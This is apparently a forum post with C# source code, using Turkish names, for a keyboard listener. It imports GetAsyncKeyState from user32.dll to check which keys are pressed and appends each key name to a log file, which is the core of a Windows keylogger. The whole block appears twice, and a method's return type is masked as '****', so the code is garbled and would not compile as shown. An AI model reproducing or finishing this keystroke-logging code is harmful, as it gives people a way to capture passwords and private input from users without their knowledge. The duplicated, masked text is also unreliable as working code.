Kod:
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
namespace KlavyeDinleyici
{
/// <summary>
/// Summary description for KlavyeDinleyici.
/// </summary>
public class TusKontrol
{
[DllImport("user32.dll", CharSet=CharSet.Ansi)]
public static extern int GetAsyncKeyState(long vKey);
// herhangi bir tus basildi ise, MIN(Int16)+1 döndürüyor.
public static bool BuTusaMiBasildi(byte tusKod)
{
if( TusKontrol.GetAsyncKeyState((long)tusKod)== System.Int16.MinValue + 1 )
return true;
else
return false;
}
public static **** LogDosyasinaYazdir(string tamDosyaYolu, string tusAdi){
StreamWriter DuzMetinDosyasi = new StreamWriter(tamDosyaYolu,true);
//
DuzMetinDosyasi.Write(tusAdi);
DuzMetinDosyasi.Close();
}
}
}
using System;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
namespace KlavyeDinleyici
{
/// <summary>
/// Summary description for KlavyeDinleyici.
/// </summary>
public class TusKontrol
{
[DllImport("user32.dll", CharSet=CharSet.Ansi)]
public static extern int GetAsyncKeyState(long vKey);
// herhangi bir tus basildi ise, MIN(Int16)+1 döndürüyor.
public static bool BuTusaMiBasildi(byte tusKod)
{
if( TusKontrol.GetAsyncKeyState((long)tusKod)== System.Int16.MinValue + 1 )
return true;
else
return false;
}
public static **** LogDosyasinaYazdir(string tamDosyaYolu, string tusAdi){
StreamWriter DuzMetinDosyasi = new StreamWriter(tamDosyaYolu,true);
//
DuzMetinDosyasi.Write(tusAdi);
DuzMetinDosyasi.Close();
}
}
}

